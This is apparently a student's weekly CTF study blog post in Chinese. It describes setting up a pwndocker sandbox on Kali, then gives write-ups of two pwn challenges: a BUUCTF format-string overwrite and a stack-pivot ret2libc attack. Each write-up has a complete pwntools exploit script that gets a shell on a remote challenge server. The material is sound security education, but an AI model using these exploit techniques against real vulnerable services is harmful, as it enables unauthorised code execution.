23-11-27

本周学习总结

成功完成了新环境的搭建。

完成了老平台的所有除了堆以外的题目,之后主要解buu的题目。

全局常量声明:新手上路,文章内容仅是由教程观点和自己总结获得,仅供参考。

一、关于kali等linux下无法安装pwngdb以及其他工具情况解决办法

kali下因为pip的版本原因,无法安装gdb的插件pwngdb。

为了在不破坏kali原生系统的情况下,我决定使用另外一种叫做沙盒环境的方法安装工具。

一般可以使用docker工具来做到这一点,docker是一种方便创建沙盒环境的工具,而且世界各地的人都制作了各种已经预装了各种工具的镜像,我们可以利用一些别人已经安装好的镜像来设置docker环境解pwn题。

我们可以通过一些方式来将操作尽可能简单化。

1)安装dokcer环境(自行百度)

2)向镜像仓库中写入镜像源

打开终端,使用root用户登录系统。

运行以下命令来编辑Docker配置文件:

1
vim /etc/docker/daemon.json

清除文件中原有内容。

在打开的文件中添加以下内容:

1
2
3
{    
"registry-mirrors": ["https://registry.docker-cn.com"]
}

上述配置将当前镜像仓库源设置为“https://registry.docker-cn.com”,以便从该源下载Docker镜像。

保存并关闭文件。

重启Docker服务:

1
systemctl restart docker

3)使用命令列出所有可下载镜像

1
sudo docker search pwn

这里我们选择镜像skysider/pwndocker(我目前能找到的最新的镜像,上个月刚刚更新)

地址:https://hub.docker.com/r/skysider/pwndocker(需要魔法)

几乎包含了新手需要使用的所有工具,内置多个libc版本,提供了更改libc文件的工具patchelf。

一键安装,心动不如行动,还在等什么?

4)下载镜像(需要魔法)

首先,创建或编辑Docker的系统服务文件/etc/systemd/system/docker.service.d/http-proxy.conf,如果该文件不存在则新建一个。

在该文件中添加以下内容,替换http://your-proxy.example.com:8080为你实际使用的代理服务器地址和端口:

1
[Service]Environment="HTTP_PROXY=http://your-proxy.example.com:8080/"Environment="HTTPS_PROXY=http://your-proxy.example.com:8080/"

保存文件并关闭编辑器。

重新加载systemd管理的服务单元:

1
sudo systemctl daemon-reload

重启Docker服务以使更改生效:

1
sudo systemctl restart docker

下载完成以后可以使用sudo docker images查看是否安装完成

到这里安装基本结束,但是启动docker需要较长的命令,而且进入沙盒后还有物理机的文件也需要办法传进来,而且有时在沙盒中修改了一些东西,而我们下次使用的时候需要沙盒恢复原样,docker环境无法多窗口控制。

这些我都找到了解决办法,并且使得操作尽量简化。

5)简化操作

1.进入root权限。

2.创建一个可以在任何目录下都可以运行的脚本:

1
vim /usr/local/bin/rundbg.sh

3.添加如下内容:

1
sudo docker run --rm -it --name ONE --privileged -v $(pwd):/ctf/work skysider/pwndocker:latest bash

这个脚本会创建一个将当前目录下所有文件链接到沙盒中的一次性沙盒。

4.为脚本添加运行权限:

1
chmod +x /usr/local/bin/rundbg.sh

这样就可以在所有目录下随时启动沙盒,且沙盒修改文件操作将直接与物理机同步。

效果如下:

5.创建同步脚本:

1
vim /usr/local/bin/tb.sh

6.添加以下内容:

1
sudo docker exec -it ONE bash

7.为脚本添加运行权限:

1
chmod +x /usr/local/bin/tb.sh

如果在你已经在其他窗口启动沙盒的情况下,你可以使用这个脚本同步其他窗口的沙盒,相当于多窗口访问同一沙盒环境。

注:如果创建沙盒的窗口退出了沙盒环境,所有窗口都将自动退出沙盒环境,反之,同步窗口退出沙盒环境对其他窗口没有任何影响。

效果如下:

搞定收工!

二、Easy–[BUUCTF][第五空间2019 决赛]PWN5

需要前置技能:字符串格式化漏洞利用

下载后得到文件pwn5,check一下。

32位,canary开启,nx开启

ida,启动!

发现主要逻辑为从真随机生成器产生的数据中读取前4个字节的随机数存入全局变量变量dword_804C044中,

让你猜猜生成的数据是多少,猜对直接给system。

程序中的两次输入均无溢出,有一个格式化字符串漏洞,可以用来地址任意写,我们可以向全局变量dword_804C044中写入自定义的数据,第二次输入时填上我们的自己构建的数据即可。atoi函数规定了构建只能使用数值。利用格式化字符串%?$n完成输入。

通过gdb调试发现第一个参数的位置是10,由于定义dword_804C044时使用的是双字(32位下四字节),我们可以使用%10$n向该全局变量直接写入数值4(p32为4字节)

第二次输入时同样输入4即可获得system。

构造脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

# p = process("./pwn5")
p = remote("node4.buuoj.cn", 28891)

payload = p32(0x804C044) + b"%10$n"

p.sendline(payload)

p.sendlineafter(b"passwd:", str(4).encode())

p.interactive()

成功获得flag。

三、Medium–栈迁移+retlibc2

需要前置技能:基础栈迁移+retlibc二之型

下载后得到文件stackx86,check!

32位,保护基本没开,ida启动!

发现主要逻辑,这溢出量,是熟悉的栈迁移,发现字符串格式化漏洞,用于泄漏出ebp。

发现我们熟悉的system函数,但是”/bin/sh”不在这。

发现”/bin/sh”位置。

通过老手段泄漏ebp,计算偏移将ebp引到esp的位置,利用两次leave;ret;将esp也引到这里来执行。

计算出偏移为0x38

通过ROPgadaet获得leave;ret;的地址。

构造脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

# p = process("./stackx86")
p = remote("120.46.59.242", 2145)

p.recvuntil(b"\n")
p.recvuntil(b"\n")
# 接收多余信息

payload = b'A' * 39 + b'B'
# 全覆盖使得输出ebp

p.send(payload)

p.recvuntil(b"B")

ebp_real = u32(p.recv(4))

print("ebp_real:" + hex(ebp_real))
# 接收ebp的值

ebp_bad = ebp_real - 0x38
# 通过偏移量计算需要伪造的ebp

p.recvuntil(b":\n")

sys_addr = 0x8048420

bin_addr = 0x804A030

leave_ret = 0x08048582

payload = b'A' * 4 + p32(sys_addr) + b'A' * 4 + p32(bin_addr) + b'A' * 24 + p32(ebp_bad) + p32(leave_ret)

p.send(payload)

p.interactive()

成功获得flag。

换了新平台,没有什么好题可以上的,就先搞到这里。

下周学习计划

| 应该要做的事情 |

开始在新平台解船新题目

学习感受

期末辣!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

躺平人狂怒!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!


23-11-27
https://zlsf-zl.github.io/2023/11/27/11-27-12-03/
作者
ZLSF
发布于
2023年11月27日
许可协议